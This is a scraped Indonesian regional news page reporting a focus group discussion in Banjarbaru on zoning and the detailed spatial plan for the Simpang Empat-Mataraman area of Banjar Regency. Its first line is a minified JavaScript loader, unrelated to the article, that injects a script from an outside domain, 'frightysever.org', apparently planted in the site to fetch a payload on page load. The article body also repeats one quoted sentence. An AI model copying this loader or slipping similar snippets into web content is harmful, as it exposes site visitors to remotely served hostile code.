(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pjs Bupati Banjar Akhmad Fydayeen diwakili Sekda HM Hilman yang membuka Focus Group Discussion (FGD) pembahasan indikasi program dan peraturan zonasi serta analisis kebijakan, rencana dan program kajian lingkungan hidup strategis Rencana Detail Tata Ruang (RDTR) wilayah Kecamatan Simpang Empat-Mataraman Kabupaten Banjar, di Hotel Grand Qin, Banjarbaru Selasa (15/10/2024) pagi.
Dalam kegiatan itu digelar Direktorat Jenderal (Ditjen) Tata Ruang Kementerian ATR/BPN Sekda HM Hilman menyampaikan, FGD tersebut adalah yang kedua setelah tahap pertama 20 Agustus lalu, menyepakati wilayah perencanaan Simpang Empat-Mataraman dengan luasan 6.745,92 hektare.
“Wilayah tersebut meliputi 6 desa di Kecamatan Simpangempat dan 5 desa di Kecamatan Mataraman, kemudian dilakukan konsultasi publik pertama 24 September 2024.
Baca juga: Mantan Kadishut Kalsel Calon Menteri Kabinet Prabowo-Gibran
Pada konsultasi publik tersebut disepakati beberapa hal, yaitu tujuan penataan ruang, konsep rencana struktur ruang dan pola ruang,” jelas Hilman.
Dia mengungkapkan FGD kedua ini bersama-sama membahas dari hasil tahap sebelumnya indikasi program dan zonasi untuk memberikan gambaran atau tujuan spesifik yang ingin dicapai dalam pengembangan suatu kawasan.
“Indikasi program berfungsi sebagai pedoman dalam perencanaan dan pelaksanaan pembangunan untuk memanfaatkan ruang sehingga dapat terarah dan sesuai dengan kebutuhan masyarakat.
Pada konsultasi publik tersebut disepakati beberapa hal, yaitu tujuan penataan ruang, konsep rencana struktur ruang dan pola ruang,” jelas Hilman.
Baca juga: Padukan Kecanggihan Teknologi dan Hiburan, BRImo FSTVL 2024 Hadir Bidik Generasi Muda
Sedangkan untuk peraturan zonasi ruang memiliki peran krusial dalam mewujudkan tata ruang tertib dan berkelanjutan dengan membagi wilayah menjadi zona-zona yang memiliki karakteristik dan fungsi berbeda, serta memastikan kegiatan pembangunan dilakukan pada tempat yang sesuai antara lain untuk pemukiman dan pertanian dalam mengendalikan pertumbuhan kota/wilayah yang pesat dengan kualitas hidup masyarakat tetap terjaga,” ungkap Hilman.
Baca juga: Bawaslu Banjar Mentahkan Laporan Kampanye Terselubung
Dari proses penyusunan tata ruang ini Hilman berharap dapat mendorong peningkatan investasi ekonomi wilayah serta daya saing kawasan wilayah perencanaan dalam rangka proses perizinan dengan menghadirkan camat dan kepala desa, setiap wilayah ada persyaratan yang diperkenankan dan dilarang berdasar tabel ruang dengan memperhatikan dokumen kepemilikan tanah atau sertifikat hak milik sehingga tidak terjadi penyimpangan.
Peserta FGD melibatkan dari lintas stakeholder, unsur Pemkab Banjar, instansi pusat dan dunia usaha serta masyarakat yang akan memanfaatkan ruang sesuai kepentingannya dalam perencanaan pembangunan. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Tugu Bundaran Simpang Empat Banjarbaru akan dipercantik dengan bermandi cahaya lampu pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tim penyidik Komisi Pemberantasan Korupsi (KPK) pada Selasa (5/11/2024), memeriksa lima saksi… Read More
KANALKALIMANTAN.COM, BANJARBARU – Lelaki 37 tahun ditemukan tak bernyawa di kontrakan Jalan SMPN 10 Kelurahan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sehubungan dengan masuknya musim penghujan Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Upaya hukum yang ditempuh Mardani H Maming (MHM) membuahkan hasil. Mahkamah Agung… Read More
KANALKALIMANTAN.COM, MARTAPURA – Monitoring dan evaluasi (Monev) terkait kinerja di bidang Sekretarit digelar oleh Sub… Read More
This website uses cookies.